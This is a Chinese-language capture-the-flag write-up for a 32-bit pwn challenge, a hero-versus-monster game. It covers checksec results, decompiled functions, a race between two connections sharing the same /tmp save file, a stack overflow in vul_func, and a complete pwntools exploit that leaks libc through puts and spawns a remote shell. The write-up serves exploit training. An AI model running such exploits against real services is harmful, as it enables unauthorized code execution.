程序概述
[*] '/home/supergate/Desktop/Pwn/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只打开了NX保护,这为我们的攻击带来便利。
在执行主流程之前会先执行一个init函数:
void init()
{
unsigned int v0; // eax
char name; // [esp+0h] [ebp-48h]
v0 = time(0);
srand(v0);
init_io();
if ( access(manager_db, 0) && mkdir(manager_db, 0x1EDu) == -1 )
{
perror("mkdir error");
}
else
{
chdir(manager_db);
while ( 1 )
{
printf("login:");
read_buff((int)&name, 64, 10);
if ( (unsigned __int8)check_name(&name) )
break;
puts("bad name");
}
if ( access(&name, 0) )
{
puts("welcome to the system!");
init_new_db_file(&name);
}
else
{
puts("welcome back to the system");
}
init_db(&name);
gMonster = (AD_struct *)malloc(0x54u);
init_monster(0);
init_hero();
}
}
即先让用户输入一个login
字符串,然后在/tmp/
目录下创建一个同名文件。根据后续操作可以知道该文件存的是gHero
的相关内容。
主流程就是gHero
和gMonster
互相进行攻防的模拟。可以选择进行攻击,也可以选择修改自己当前的攻击方式。每一种攻击方式的attack
,defense
,strike
值都不相同,以虚表存在.bss
段中。
其中attack
函数如下图所示,其中AD_struct
是我自己根据数据结构定义的一个结构体,方便后续理解,gHero
和gMonster
都是这个结构体的形式。
struct_properties *attack()
{
struct_properties *result; // eax
int monster_defense; // [esp+10h] [ebp-18h]
int monster_attack; // [esp+14h] [ebp-14h]
int hero_defense; // [esp+18h] [ebp-10h]
int hero_attack; // [esp+1Ch] [ebp-Ch]
++gHero->cnt1;
++gMonster->cnt1;
hero_recovery();
mon_recovery();
printf("%s display:%s\n", &gHero->gap3, gHero->properties->method_full_name);
printf("%s display:%s\n", &gMonster->gap3, gMonster->properties->method_full_name);
monster_attack = gMonster->properties->attack;
monster_defense = gMonster->properties->defense;
if ( gMonster->properties->strike && gMonster->cnt1 > 4 && rand() % 3 == 1 )
{
gMonster->cnt1 = 0;
monster_defense += gMonster->properties->strike;
monster_attack += gMonster->properties->strike;
}
hero_attack = gHero->properties->attack;
hero_defense = gHero->properties->defense;
if ( gMonster->properties->strike )
{
printf("use hiden_methods?(1:yes/0:no):");
if ( read_int() == 1 )
{
hero_defense += gHero->properties->strike;
hero_attack += gHero->properties->strike;
}
}
if ( hero_defense < monster_attack )
gHero->surplus -= monster_attack - hero_defense;
if ( monster_defense < hero_attack )
gMonster->surplus -= hero_attack - monster_defense;
if ( gHero->surplus <= 0 )
{
puts("you failed");
gHero->surplus = 0;
release_all();
}
result = (struct_properties *)gMonster->surplus;
if ( (signed int)result <= 0 )
{
puts("you win");
if ( gMonster->slave_num == 3 )
{
puts("we will remember you forever!");
vul_func();
release_all();
}
puts("slave up");
level_up();
result = init_monster(gMonster->slave_num + 1);
}
return result;
}
每一次怪物血量降到0及以下时就会升级,打败等级为3级的怪兽就会记录你的名字,然后结束程序。
漏洞分析
vul_func
中很显然存在一个栈溢出漏洞,并且是最简单的那种栈溢出。
问题是我们该如何打败三个等级的怪物使得程序运行到这个地方。
由于gHero
是存在/tmp/
文件夹下我们指定名称的文件内的,所以如果我们打开了两个进程,并且输入的文件名相同,那么这两个进程就会共享同一片内存区域。
对于attack
函数的这一段
hero_attack = gHero->properties->attack;
hero_defense = gHero->properties->defense;
if ( gMonster->properties->strike )
{
printf("use hiden_methods?(1:yes/0:no):");
if ( read_int() == 1 )
{
hero_defense += gHero->properties->strike;
hero_attack += gHero->properties->strike;
}
}
在p1进程等待read_int()函数输入时,我们就可以打开p2进程,修改攻击方式,从而强化gHero
。
每种攻击方式的属性如上所说,都在虚表中存着的。应该不只有一种攻击方式。
p2进程修改完之后要记得close,否则p2输了之后可能会带来一些意想不到的错误。
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
def change_method(proc,idx):
proc.sendlineafter(">> ","3")
proc.sendlineafter(">> ",str(idx))
def hacking(proc):
proc.sendlineafter(">> ","1")
proc.sendlineafter(":","1")
p1=remote('111.198.29.45',55333)
elf=ELF('./pwn')
p1.sendlineafter('login:',"name")
while True:
change_method(p1,3)
p1.sendlineafter(">> ","1")
p1.recvuntil(":")
p2=remote('111.198.29.45',55333)
p2.sendlineafter('login:',"name")
change_method(p2,1)
p1.sendline("1")
p2.close()
p1.recvline()
p1.recvline()
p1.recvline()
infom=p1.recvline()
log.info(infom)
if "remember" in infom:
break
log.info("Success!")
p1.recvuntil("name:")
vul_addr=0x8048EC7
payload='a'*0x4c+p32(elf.plt['puts'])+p32(vul_addr)+p32(elf.got['puts'])
p1.sendline(payload)
p1.recvuntil("welcome\n")
puts_addr=u32(p1.recv(4).ljust(4,'\x00'))
obj=LibcSearcher('puts',puts_addr)
system_addr=puts_addr-obj.dump("puts")+obj.dump("system")
binsh_addr=puts_addr-obj.dump("puts")+obj.dump("str_bin_sh")
payload='a'*0x4c+p32(system_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p1.sendline(payload)
p1.interactive()